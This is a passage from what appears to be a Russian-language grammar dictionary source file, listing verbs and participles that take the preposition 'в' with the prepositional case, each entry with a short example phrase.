деепричастие:паря{ aux stress="пар^я" }, прилагательное:ПАРЯЩИЙ{}, прилагательное:ПАРИВШИЙ{}, rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В) rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В) rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в) rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В) rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В) rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В) rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В) rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В) rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В) rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в) rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в) rus_verbs:принять{}, // Документ принят в следующей редакции (принять в) rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в) rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В) rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в) rus_verbs:звучать{}, // в доме звучала музыка (звучать в) rus_verbs:колебаться{}, // колеблется в выборе (колебаться в) rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в) rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в) rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в) rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в) rus_verbs:вычитывать{}, // вычитывать в книге rus_verbs:гудеть{}, // У него в ушах гудит. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки. rus_verbs:разойтись{}, // Они разошлись в темноте. rus_verbs:прибежать{}, // Мальчик прибежал в слезах. rus_verbs:биться{}, // Она билась в истерике. rus_verbs:регистрироваться{}, // регистрироваться в системе rus_verbs:считать{}, // я буду считать в уме rus_verbs:трахаться{}, // трахаться в гамаке rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке rus_verbs:разрушать{}, // разрушать в дробилке rus_verbs:засидеться{}, // засидеться в гостях rus_verbs:засиживаться{}, // засиживаться в гостях rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке) rus_verbs:навестить{}, // навестить в доме престарелых rus_verbs:запомнить{}, // запомнить в кэше rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.) rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка) rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику. rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.) rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу rus_verbs:оглядываться{}, // оглядываться в зеркале rus_verbs:нарисовать{}, // нарисовать в тетрадке rus_verbs:пробить{}, // пробить отверствие в стене rus_verbs:повертеть{}, // повертеть в руке rus_verbs:вертеть{}, // Я вертел в руках rus_verbs:рваться{}, // Веревка рвется в месте надреза rus_verbs:распространяться{}, // распространяться в среде наркоманов rus_verbs:попрощаться{}, // попрощаться в здании морга rus_verbs:соображать{}, // соображать в уме инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот) rus_verbs:разобрать{}, // разобрать в гараже rus_verbs:помереть{}, // помереть в пути rus_verbs:различить{}, // различить в темноте rus_verbs:рисовать{}, // рисовать в графическом редакторе rus_verbs:проследить{}, // проследить в записях камер слежения rus_verbs:совершаться{}, // Правосудие совершается в суде rus_verbs:задремать{}, // задремать в кровати rus_verbs:ругаться{}, // ругаться в комнате rus_verbs:зазвучать{}, // зазвучать в радиоприемниках rus_verbs:задохнуться{}, // задохнуться в воде rus_verbs:порождать{}, // порождать в неокрепших умах rus_verbs:отдыхать{}, // отдыхать в санатории rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении rus_verbs:образовать{}, // образовать в пробирке темную взвесь rus_verbs:отмечать{}, // отмечать в списке rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте rus_verbs:плясать{}, // плясать в откружении незнакомых людей rus_verbs:повысить{}, // повысить в звании rus_verbs:поджидать{}, // поджидать в подъезде rus_verbs:отказать{}, // отказать в пересмотре дела rus_verbs:раствориться{}, // раствориться в бензине rus_verbs:отражать{}, // отражать в стихах rus_verbs:дремать{}, // дремать в гамаке rus_verbs:применяться{}, // применяться в домашних условиях rus_verbs:присниться{}, // присниться во сне rus_verbs:трястись{}, // трястись в драндулете rus_verbs:сохранять{}, // сохранять в неприкосновенности rus_verbs:расстрелять{}, // расстрелять в ложбине rus_verbs:рассчитать{}, // рассчитать в программе rus_verbs:перебирать{}, // перебирать в руке rus_verbs:разбиться{}, // разбиться в аварии rus_verbs:поискать{}, // поискать в углу rus_verbs:мучиться{}, // мучиться в тесной клетке rus_verbs:замелькать{}, // замелькать в телевизоре rus_verbs:грустить{}, // грустить в одиночестве rus_verbs:крутить{}, // крутить в банке rus_verbs:объявиться{}, // объявиться в городе rus_verbs:подготовить{}, // подготовить в тайне rus_verbs:различать{}, // различать в смеси rus_verbs:обнаруживать{}, // обнаруживать в крови rus_verbs:киснуть{}, // киснуть в захолустье rus_verbs:оборваться{}, // оборваться в начале фразы rus_verbs:запутаться{}, // запутаться в веревках rus_verbs:общаться{}, // общаться в интимной обстановке rus_verbs:сочинить{}, // сочинить в ресторане rus_verbs:изобрести{}, // изобрести в домашней лаборатории rus_verbs:прокомментировать{}, // прокомментировать в своем блоге rus_verbs:давить{}, // давить в зародыше rus_verbs:повториться{}, // повториться в новом обличье rus_verbs:отставать{}, // отставать в общем зачете rus_verbs:разработать{}, // разработать в лаборатории rus_verbs:качать{}, // качать в кроватке rus_verbs:заменить{}, // заменить в двигателе rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере rus_verbs:забегать{}, // забегать в спешке rus_verbs:наделать{}, // наделать в решении ошибок rus_verbs:исказиться{}, // исказиться в кривом зеркале rus_verbs:тушить{}, // тушить в помещении пожар rus_verbs:охранять{}, // охранять в здании входы rus_verbs:приметить{}, // приметить в кустах rus_verbs:скрыть{}, // скрыть в складках одежды rus_verbs:удерживать{}, // удерживать в заложниках rus_verbs:увеличиваться{}, // увеличиваться в размере rus_verbs:красоваться{}, // красоваться в новом платье rus_verbs:сохраниться{}, // сохраниться в тепле rus_verbs:лечить{}, // лечить в стационаре rus_verbs:смешаться{}, // смешаться в баке rus_verbs:прокатиться{}, // прокатиться в троллейбусе rus_verbs:договариваться{}, // договариваться в закрытом кабинете rus_verbs:опубликовать{}, // опубликовать в официальном блоге rus_verbs:охотиться{}, // охотиться в прериях rus_verbs:отражаться{}, // отражаться в окне rus_verbs:понизить{}, // понизить в должности rus_verbs:обедать{}, // обедать в ресторане rus_verbs:посидеть{}, // посидеть в тени rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете rus_verbs:свершиться{}, // свершиться в суде rus_verbs:ночевать{}, // ночевать в гостинице rus_verbs:темнеть{}, // темнеть в воде rus_verbs:гибнуть{}, // гибнуть в застенках rus_verbs:усиливаться{}, // усиливаться в направлении главного удара rus_verbs:расплыться{}, // расплыться в улыбке rus_verbs:превышать{}, // превышать в несколько раз rus_verbs:проживать{}, // проживать в отдельной коморке rus_verbs:голубеть{}, // голубеть в тепле rus_verbs:исследовать{}, // исследовать в естественных условиях rus_verbs:обитать{}, // обитать в лесу rus_verbs:скучать{}, // скучать в одиночестве rus_verbs:сталкиваться{}, // сталкиваться в воздухе rus_verbs:таиться{}, // таиться в глубине rus_verbs:спасать{}, // спасать в море rus_verbs:заблудиться{}, // заблудиться в лесу rus_verbs:создаться{}, // создаться в новом виде rus_verbs:пошарить{}, // пошарить в кармане rus_verbs:планировать{}, // планировать в программе rus_verbs:отбить{}, // отбить в нижней части rus_verbs:отрицать{}, // отрицать в суде свою вину rus_verbs:основать{}, // основать в пустыне новый город rus_verbs:двоить{}, // двоить в глазах rus_verbs:устоять{}, // устоять в лодке rus_verbs:унять{}, // унять в ногах дрожь rus_verbs:отзываться{}, // отзываться в обзоре rus_verbs:притормозить{}, // притормозить в траве rus_verbs:читаться{}, // читаться в глазах rus_verbs:житься{}, // житься в деревне rus_verbs:заиграть{}, // заиграть в жилах rus_verbs:шевелить{}, // шевелить в воде rus_verbs:зазвенеть{}, // зазвенеть в ушах rus_verbs:зависнуть{}, // зависнуть в библиотеке rus_verbs:затаить{}, // затаить в душе обиду rus_verbs:сознаться{}, // сознаться в совершении rus_verbs:протекать{}, // протекать в легкой форме rus_verbs:выясняться{}, // выясняться в ходе эксперимента rus_verbs:скрестить{}, // скрестить в неволе rus_verbs:наводить{}, // наводить в комнате порядок rus_verbs:значиться{}, // значиться в документах rus_verbs:заинтересовать{}, // заинтересовать в получении результатов rus_verbs:познакомить{}, // познакомить в непринужденной обстановке rus_verbs:рассеяться{}, // рассеяться в воздухе rus_verbs:грохнуть{}, // грохнуть в подвале rus_verbs:обвинять{}, // обвинять в вымогательстве rus_verbs:столпиться{}, // столпиться в фойе rus_verbs:порыться{}, // порыться в сумке rus_verbs:ослабить{}, // ослабить в верхней части rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки rus_verbs:спастись{}, // спастись в хижине rus_verbs:прерваться{}, // прерваться в середине фразы rus_verbs:применять{}, // применять в повседневной работе rus_verbs:строиться{}, // строиться в зоне отчуждения rus_verbs:путешествовать{}, // путешествовать в самолете rus_verbs:побеждать{}, // побеждать в честной битве rus_verbs:погубить{}, // погубить в себе артиста rus_verbs:рассматриваться{}, // рассматриваться в следующей главе rus_verbs:продаваться{}, // продаваться в специализированном магазине rus_verbs:разместиться{}, // разместиться в аудитории rus_verbs:повидать{}, // повидать в жизни rus_verbs:настигнуть{}, // настигнуть в пригородах rus_verbs:сгрудиться{}, // сгрудиться в центре загона rus_verbs:укрыться{}, // укрыться в доме rus_verbs:расплакаться{}, // расплакаться в суде rus_verbs:пролежать{}, // пролежать в канаве rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде rus_verbs:поскользнуться{}, // поскользнуться в коридоре rus_verbs:таскать{}, // таскать в руках rus_verbs:нападать{}, // нападать в вольере rus_verbs:просматривать{}, // просматривать в браузере rus_verbs:обдумать{}, // обдумать в дороге rus_verbs:обвинить{}, // обвинить в измене rus_verbs:останавливать{}, // останавливать в дверях rus_verbs:теряться{}, // теряться в догадках rus_verbs:погибать{}, // погибать в бою rus_verbs:обозначать{}, // обозначать в списке rus_verbs:запрещать{}, // запрещать в парке rus_verbs:долететь{}, // долететь в вертолёте rus_verbs:тесниться{}, // тесниться в каморке rus_verbs:уменьшаться{}, // уменьшаться в размере rus_verbs:издавать{}, // издавать в небольшом издательстве rus_verbs:хоронить{}, // хоронить в море rus_verbs:перемениться{}, // перемениться в лице rus_verbs:установиться{}, // установиться в северных областях rus_verbs:прикидывать{}, // прикидывать в уме rus_verbs:затаиться{}, // затаиться в траве rus_verbs:раздобыть{}, // раздобыть в аптеке rus_verbs:перебросить{}, // перебросить в товарном составе rus_verbs:погружаться{}, // погружаться в батискафе rus_verbs:поживать{}, // поживать в одиночестве rus_verbs:признаваться{}, // признаваться в любви rus_verbs:захватывать{}, // захватывать в здании rus_verbs:покачиваться{}, // покачиваться в лодке rus_verbs:крутиться{}, // крутиться в колесе rus_verbs:помещаться{}, // помещаться в ящике rus_verbs:питаться{}, // питаться в столовой rus_verbs:отдохнуть{}, // отдохнуть в пансионате rus_verbs:кататься{}, // кататься в коляске rus_verbs:поработать{}, // поработать в цеху rus_verbs:подразумевать{}, // подразумевать в задании rus_verbs:ограбить{}, // ограбить в подворотне rus_verbs:преуспеть{}, // преуспеть в бизнесе rus_verbs:заерзать{}, // заерзать в кресле rus_verbs:разъяснить{}, // разъяснить в другой статье rus_verbs:продвинуться{}, // продвинуться в изучении rus_verbs:поколебаться{}, // поколебаться в начале rus_verbs:засомневаться{}, // засомневаться в честности rus_verbs:приникнуть{}, // приникнуть в уме rus_verbs:скривить{}, // скривить в усмешке rus_verbs:рассечь{}, // рассечь в центре опухоли rus_verbs:перепутать{}, // перепутать в роддоме rus_verbs:посмеяться{}, // посмеяться в перерыве rus_verbs:отмечаться{}, // отмечаться в полицейском участке rus_verbs:накопиться{}, // накопиться в отстойнике rus_verbs:уносить{}, // уносить в руках rus_verbs:навещать{}, // навещать в больнице rus_verbs:остыть{}, // остыть в проточной воде rus_verbs:запереться{}, // запереться в комнате rus_verbs:обогнать{}, // обогнать в первом круге rus_verbs:убеждаться{}, // убеждаться в неизбежности rus_verbs:подбирать{}, // подбирать в магазине rus_verbs:уничтожать{}, // уничтожать в полете rus_verbs:путаться{}, // путаться в показаниях rus_verbs:притаиться{}, // притаиться в темноте rus_verbs:проплывать{}, // проплывать в лодке rus_verbs:засесть{}, // засесть в окопе rus_verbs:подцепить{}, // подцепить в баре rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок rus_verbs:оправдаться{}, // оправдаться в суде rus_verbs:созреть{}, // созреть в естественных условиях rus_verbs:раскрываться{}, // раскрываться в подходящих условиях rus_verbs:ожидаться{}, // ожидаться в верхней части rus_verbs:одеваться{}, // одеваться в дорогих бутиках rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта rus_verbs:грабить{}, // грабить в подворотне rus_verbs:ужинать{}, // ужинать в ресторане rus_verbs:гонять{}, // гонять в жилах rus_verbs:уверить{}, // уверить в безопасности rus_verbs:потеряться{}, // потеряться в лесу rus_verbs:устанавливаться{}, // устанавливаться в комнате rus_verbs:предоставлять{}, // предоставлять в суде rus_verbs:протянуться{}, // протянуться в стене rus_verbs:допрашивать{}, // допрашивать в бункере rus_verbs:проработать{}, // проработать в кабинете rus_verbs:сосредоточить{}, // сосредоточить в своих руках rus_verbs:утвердить{}, // утвердить в должности rus_verbs:сочинять{}, // сочинять в дороге rus_verbs:померкнуть{}, // померкнуть в глазах rus_verbs:показываться{}, // показываться в окошке rus_verbs:похудеть{}, // похудеть в талии rus_verbs:проделывать{}, // проделывать в стене rus_verbs:прославиться{}, // прославиться в интернете rus_verbs:сдохнуть{}, // сдохнуть в нищете rus_verbs:раскинуться{}, // раскинуться в степи rus_verbs:развить{}, // развить в себе способности rus_verbs:уставать{}, // уставать в цеху rus_verbs:укрепить{}, // укрепить в земле rus_verbs:числиться{}, // числиться в списке rus_verbs:образовывать{}, // образовывать в смеси rus_verbs:екнуть{}, // екнуть в груди rus_verbs:одобрять{}, // одобрять в своей речи rus_verbs:запить{}, // запить в одиночестве rus_verbs:забыться{}, // забыться в тяжелом сне rus_verbs:чернеть{}, // чернеть в кислой среде rus_verbs:размещаться{}, // размещаться в гараже rus_verbs:соорудить{}, // соорудить в гараже rus_verbs:развивать{}, // развивать в себе rus_verbs:пастись{}, // пастись в пойме rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы rus_verbs:ослабнуть{}, // ослабнуть в сочленении rus_verbs:таить{}, // таить в себе инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке rus_verbs:приостановиться{}, // приостановиться в конце rus_verbs:топтаться{}, // топтаться в грязи rus_verbs:громить{}, // громить в финале rus_verbs:заменять{}, // заменять в основном составе rus_verbs:подъезжать{}, // подъезжать в колясках rus_verbs:вычислить{}, // вычислить в уме rus_verbs:заказывать{}, // заказывать в магазине rus_verbs:осуществить{}, // осуществить в реальных условиях rus_verbs:обосноваться{}, // обосноваться в дупле rus_verbs:пытать{}, // пытать в камере rus_verbs:поменять{}, // поменять в магазине rus_verbs:совершиться{}, // совершиться в суде rus_verbs:пролетать{}, // пролетать в вертолете rus_verbs:сбыться{}, // сбыться во сне rus_verbs:разговориться{}, // разговориться в отделении rus_verbs:преподнести{}, // преподнести в красивой упаковке rus_verbs:напечатать{}, // напечатать в типографии rus_verbs:прорвать{}, // прорвать в центре rus_verbs:раскачиваться{}, // раскачиваться в кресле rus_verbs:задерживаться{}, // задерживаться в дверях rus_verbs:угощать{}, // угощать в кафе rus_verbs:проступать{}, // проступать в глубине rus_verbs:шарить{}, // шарить в математике rus_verbs:увеличивать{}, // увеличивать в конце rus_verbs:расцвести{}, // расцвести в оранжерее rus_verbs:закипеть{}, // закипеть в баке rus_verbs:подлететь{}, // подлететь в вертолете rus_verbs:рыться{}, // рыться в куче rus_verbs:пожить{}, // пожить в гостинице rus_verbs:добираться{}, // добираться в попутном транспорте rus_verbs:перекрыть{}, // перекрыть в коридоре rus_verbs:продержаться{}, // продержаться в барокамере rus_verbs:разыскивать{}, // разыскивать в толпе rus_verbs:освобождать{}, // освобождать в зале суда rus_verbs:подметить{}, // подметить в человеке rus_verbs:передвигаться{}, // передвигаться в узкой юбке rus_verbs:продумать{}, // продумать в уме rus_verbs:извиваться{}, // извиваться в траве rus_verbs:процитировать{}, // процитировать в статье rus_verbs:прогуливаться{}, // прогуливаться в парке rus_verbs:защемить{}, // защемить в двери rus_verbs:увеличиться{}, // увеличиться в объеме rus_verbs:проявиться{}, // проявиться в результатах rus_verbs:заскользить{}, // заскользить в ботинках rus_verbs:пересказать{}, // пересказать в своем выступлении rus_verbs:протестовать{}, // протестовать в здании парламента rus_verbs:указываться{}, // указываться в путеводителе rus_verbs:копошиться{}, // копошиться в песке rus_verbs:проигнорировать{}, // проигнорировать в своей работе rus_verbs:купаться{}, // купаться в речке rus_verbs:подсчитать{}, // подсчитать в уме rus_verbs:разволноваться{}, // разволноваться в классе rus_verbs:придумывать{}, // придумывать в своем воображении rus_verbs:предусмотреть{}, // предусмотреть в программе rus_verbs:завертеться{}, // завертеться в колесе rus_verbs:зачерпнуть{}, // зачерпнуть в ручье rus_verbs:очистить{}, // очистить в химической лаборатории rus_verbs:прозвенеть{}, // прозвенеть в коридорах rus_verbs:уменьшиться{}, // уменьшиться в размере rus_verbs:колыхаться{}, // колыхаться в проточной воде rus_verbs:ознакомиться{}, // ознакомиться в автобусе rus_verbs:ржать{}, // ржать в аудитории rus_verbs:раскинуть{}, // раскинуть в микрорайоне rus_verbs:разлиться{}, // разлиться в воде rus_verbs:сквозить{}, // сквозить в словах rus_verbs:задушить{}, // задушить в объятиях rus_verbs:осудить{}, // осудить в особом порядке rus_verbs:разгромить{}, // разгромить в честном поединке rus_verbs:подслушать{}, // подслушать в кулуарах rus_verbs:проповедовать{}, // проповедовать в сельских районах rus_verbs:озарить{}, // озарить во сне rus_verbs:потирать{}, // потирать в предвкушении rus_verbs:описываться{}, // описываться в статье rus_verbs:качаться{}, // качаться в кроватке rus_verbs:усилить{}, // усилить в центре rus_verbs:прохаживаться{}, // прохаживаться в новом костюме rus_verbs:полечить{}, // полечить в больничке rus_verbs:сниматься{}, // сниматься в римейке rus_verbs:сыскать{}, // сыскать в наших краях rus_verbs:поприветствовать{}, // поприветствовать в коридоре rus_verbs:подтвердиться{}, // подтвердиться в эксперименте rus_verbs:плескаться{}, // плескаться в теплой водичке rus_verbs:расширяться{}, // расширяться в первом сегменте rus_verbs:мерещиться{}, // мерещиться в тумане rus_verbs:сгущаться{}, // сгущаться в воздухе rus_verbs:храпеть{}, // храпеть во сне rus_verbs:подержать{}, // подержать в руках rus_verbs:накинуться{}, // накинуться в подворотне rus_verbs:планироваться{}, // планироваться в закрытом режиме rus_verbs:пробудить{}, // пробудить в себе rus_verbs:побриться{}, // побриться в ванной rus_verbs:сгинуть{}, // сгинуть в пучине rus_verbs:окрестить{}, // окрестить в церкви инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления rus_verbs:замкнуться{}, // замкнуться в себе rus_verbs:прибавлять{}, // прибавлять в весе rus_verbs:проплыть{}, // проплыть в лодке rus_verbs:растворяться{}, // растворяться в тумане rus_verbs:упрекать{}, // упрекать в небрежности rus_verbs:затеряться{}, // затеряться в лабиринте rus_verbs:перечитывать{}, // перечитывать в поезде rus_verbs:перелететь{}, // перелететь в вертолете rus_verbs:оживать{}, // оживать в теплой воде rus_verbs:заглохнуть{}, // заглохнуть в полете rus_verbs:кольнуть{}, // кольнуть в боку rus_verbs:копаться{}, // копаться в куче rus_verbs:развлекаться{}, // развлекаться в клубе rus_verbs:отливать{}, // отливать в кустах rus_verbs:зажить{}, // зажить в деревне rus_verbs:одолжить{}, // одолжить в соседнем кабинете rus_verbs:заклинать{}, // заклинать в своей речи rus_verbs:различаться{}, // различаться в мелочах rus_verbs:печататься{}, // печататься в типографии rus_verbs:угадываться{}, // угадываться в контурах rus_verbs:обрывать{}, // обрывать в начале rus_verbs:поглаживать{}, // поглаживать в кармане rus_verbs:подписывать{}, // подписывать в присутствии понятых rus_verbs:добывать{}, // добывать в разломе rus_verbs:скопиться{}, // скопиться в воротах rus_verbs:повстречать{}, // повстречать в бане rus_verbs:совпасть{}, // совпасть в упрощенном виде rus_verbs:разрываться{}, // разрываться в точке спайки rus_verbs:улавливать{}, // улавливать в датчике rus_verbs:повстречаться{}, // повстречаться в лифте rus_verbs:отразить{}, // отразить в отчете rus_verbs:пояснять{}, // пояснять в примечаниях rus_verbs:накормить{}, // накормить в столовке rus_verbs:поужинать{}, // поужинать в ресторане инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить в молоке rus_verbs:освоить{}, // освоить в работе rus_verbs:зародиться{}, // зародиться в голове rus_verbs:отплыть{}, // отплыть в старой лодке rus_verbs:отстаивать{}, // отстаивать в суде rus_verbs:осуждать{}, // осуждать в своем выступлении rus_verbs:переговорить{}, // переговорить в перерыве rus_verbs:разгораться{}, // разгораться в сердце rus_verbs:укрыть{}, // укрыть в шалаше rus_verbs:томиться{}, // томиться в застенках rus_verbs:клубиться{}, // клубиться в воздухе rus_verbs:сжигать{}, // сжигать в топке rus_verbs:позавтракать{}, // позавтракать в кафешке rus_verbs:функционировать{}, // функционировать в лабораторных условиях rus_verbs:смять{}, // смять в руке rus_verbs:разместить{}, // разместить в интернете rus_verbs:пронести{}, // пронести в потайном кармане rus_verbs:руководствоваться{}, // руководствоваться в работе rus_verbs:нашарить{}, // нашарить в потемках rus_verbs:закрутить{}, // закрутить в вихре rus_verbs:просматриваться{}, // просматриваться в дальней перспективе rus_verbs:распознать{}, // распознать в незнакомце rus_verbs:повеситься{}, // повеситься в камере rus_verbs:обшарить{}, // обшарить в поисках наркотиков rus_verbs:наполняться{}, // наполняется в карьере rus_verbs:засвистеть{}, // засвистеть в воздухе rus_verbs:процветать{}, // процветать в мягком климате rus_verbs:шуршать{}, // шуршать в простенке rus_verbs:подхватывать{}, // подхватывать в полете инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе прилагательное:роившийся{}, прилагательное:роящийся{}, // деепричастие:роясь{ aux stress="ро^ясь" }, rus_verbs:преобладать{}, // преобладать в тексте rus_verbs:посветлеть{}, // посветлеть в лице rus_verbs:игнорировать{}, // игнорировать в рекомендациях rus_verbs:обсуждаться{}, // обсуждаться в кулуарах rus_verbs:отказывать{}, // отказывать в визе rus_verbs:ощупывать{}, // ощупывать в кармане rus_verbs:разливаться{}, // разливаться в цеху rus_verbs:расписаться{}, // расписаться в получении rus_verbs:учинить{}, // учинить в казарме rus_verbs:плестись{}, // плестись в хвосте rus_verbs:объявляться{}, // объявляться в группе rus_verbs:повышаться{}, // повышаться в первой части rus_verbs:напрягать{}, // напрягать в паху rus_verbs:разрабатывать{}, // разрабатывать в студии rus_verbs:хлопотать{}, // хлопотать в мэрии rus_verbs:прерывать{}, // прерывать в самом начале rus_verbs:каяться{}, // каяться в грехах rus_verbs:освоиться{}, // освоиться в кабине rus_verbs:подплыть{}, // подплыть в лодке rus_verbs:замигать{}, // замигать в темноте rus_verbs:оскорблять{}, // оскорблять в выступлении rus_verbs:торжествовать{}, // торжествовать в душе rus_verbs:поправлять{}, // поправлять в прологе rus_verbs:угадывать{}, // угадывать в размытом изображении rus_verbs:потоптаться{}, // потоптаться в прихожей rus_verbs:переправиться{}, // переправиться в лодочке rus_verbs:увериться{}, // увериться в невиновности rus_verbs:забрезжить{}, // забрезжить в конце тоннеля rus_verbs:утвердиться{}, // утвердиться во мнении rus_verbs:завывать{}, // завывать в трубе rus_verbs:заварить{}, // заварить в заварнике rus_verbs:скомкать{}, // скомкать в руке rus_verbs:перемещаться{}, // перемещаться в капсуле инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле rus_verbs:праздновать{}, // праздновать в баре rus_verbs:мигать{}, // мигать в темноте rus_verbs:обучить{}, // обучить в мастерской rus_verbs:орудовать{}, // орудовать в кладовке rus_verbs:упорствовать{}, // упорствовать в заблуждении rus_verbs:переминаться{}, // переминаться в прихожей rus_verbs:подрасти{}, // подрасти в теплице rus_verbs:предписываться{}, // предписываться в законе rus_verbs:приписать{}, // приписать в конце rus_verbs:задаваться{}, // задаваться в своей статье rus_verbs:чинить{}, // чинить в домашних условиях rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке rus_verbs:пообедать{}, // пообедать в ресторанчике rus_verbs:жрать{}, // жрать в чуланчике rus_verbs:исполняться{}, // исполняться в антракте rus_verbs:гнить{}, // гнить в тюрьме rus_verbs:глодать{}, // глодать в конуре rus_verbs:прослушать{}, // прослушать в дороге rus_verbs:истратить{}, // истратить в кабаке rus_verbs:стареть{}, // стареть в одиночестве rus_verbs:разжечь{}, // разжечь в сердце rus_verbs:совещаться{}, // совещаться в кабинете rus_verbs:покачивать{}, // покачивать в кроватке rus_verbs:отсидеть{}, // отсидеть в одиночке rus_verbs:формировать{}, // формировать в умах rus_verbs:захрапеть{}, // захрапеть во сне rus_verbs:петься{}, // петься в хоре rus_verbs:объехать{}, // объехать в автобусе rus_verbs:поселить{}, // поселить в гостинице rus_verbs:предаться{}, // предаться в книге rus_verbs:заворочаться{}, // заворочаться во сне rus_verbs:напрятать{}, // напрятать в карманах rus_verbs:очухаться{}, // очухаться в незнакомом месте rus_verbs:ограничивать{}, // ограничивать в движениях rus_verbs:завертеть{}, // завертеть в руках rus_verbs:печатать{}, // печатать в редакторе rus_verbs:теплиться{}, // теплиться в сердце rus_verbs:увязнуть{}, // увязнуть в зыбучем песке rus_verbs:усмотреть{}, // усмотреть в обращении rus_verbs:отыскаться{}, // отыскаться в запасах rus_verbs:потушить{}, // потушить в горле огонь rus_verbs:поубавиться{}, // поубавиться в размере rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти rus_verbs:смыть{}, // смыть в ванной rus_verbs:заместить{}, // заместить в кресле rus_verbs:угасать{}, // угасать в одиночестве rus_verbs:сразить{}, // сразить в споре rus_verbs:фигурировать{}, // фигурировать в бюллетене rus_verbs:расплываться{}, // расплываться в глазах rus_verbs:сосчитать{}, // сосчитать в уме rus_verbs:сгуститься{}, // сгуститься в воздухе rus_verbs:цитировать{}, // цитировать в своей статье rus_verbs:помяться{}, // помяться в давке rus_verbs:затрагивать{}, // затрагивать в процессе выполнения rus_verbs:обтереть{}, // обтереть в гараже rus_verbs:подстрелить{}, // подстрелить в пойме реки rus_verbs:растереть{}, // растереть в руке rus_verbs:подавлять{}, // подавлять в зародыше rus_verbs:смешиваться{}, // смешиваться в чане инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке rus_verbs:сократиться{}, // сократиться в обхвате rus_verbs:занервничать{}, // занервничать в кабинете rus_verbs:соприкоснуться{}, // соприкоснуться в полете rus_verbs:обозначить{}, // обозначить в объявлении rus_verbs:обучаться{}, // обучаться в училище rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы rus_verbs:лелеять{}, // лелеять в сердце rus_verbs:поддерживаться{}, // поддерживаться в суде rus_verbs:уплыть{}, // уплыть в лодочке rus_verbs:резвиться{}, // резвиться в саду rus_verbs:поерзать{}, // поерзать в гамаке rus_verbs:оплатить{}, // оплатить в ресторане rus_verbs:похвастаться{}, // похвастаться в компании rus_verbs:знакомиться{}, // знакомиться в классе rus_verbs:приплыть{}, // приплыть в подводной лодке rus_verbs:зажигать{}, // зажигать в классе rus_verbs:смыслить{}, // смыслить в математике rus_verbs:закопать{}, // закопать в огороде rus_verbs:порхать{}, // порхать в зарослях rus_verbs:потонуть{}, // потонуть в бумажках rus_verbs:стирать{}, // стирать в холодной воде rus_verbs:подстерегать{}, // подстерегать в придорожных кустах rus_verbs:погулять{}, // погулять в парке rus_verbs:предвкушать{}, // предвкушать в воображении rus_verbs:ошеломить{}, // ошеломить в бою rus_verbs:удостовериться{}, // удостовериться в безопасности rus_verbs:огласить{}, // огласить в заключительной части rus_verbs:разбогатеть{}, // разбогатеть в деревне rus_verbs:грохотать{}, // грохотать в мастерской rus_verbs:реализоваться{}, // реализоваться в должности rus_verbs:красть{}, // красть в магазине rus_verbs:нарваться{}, // нарваться в коридоре rus_verbs:застывать{}, // застывать в неудобной позе rus_verbs:толкаться{}, // толкаться в тесной комнате rus_verbs:извлекать{}, // извлекать в аппарате rus_verbs:обжигать{}, // обжигать в печи rus_verbs:запечатлеть{}, // запечатлеть в кинохронике rus_verbs:тренироваться{}, // тренироваться в зале rus_verbs:поспорить{}, // поспорить в кабинете 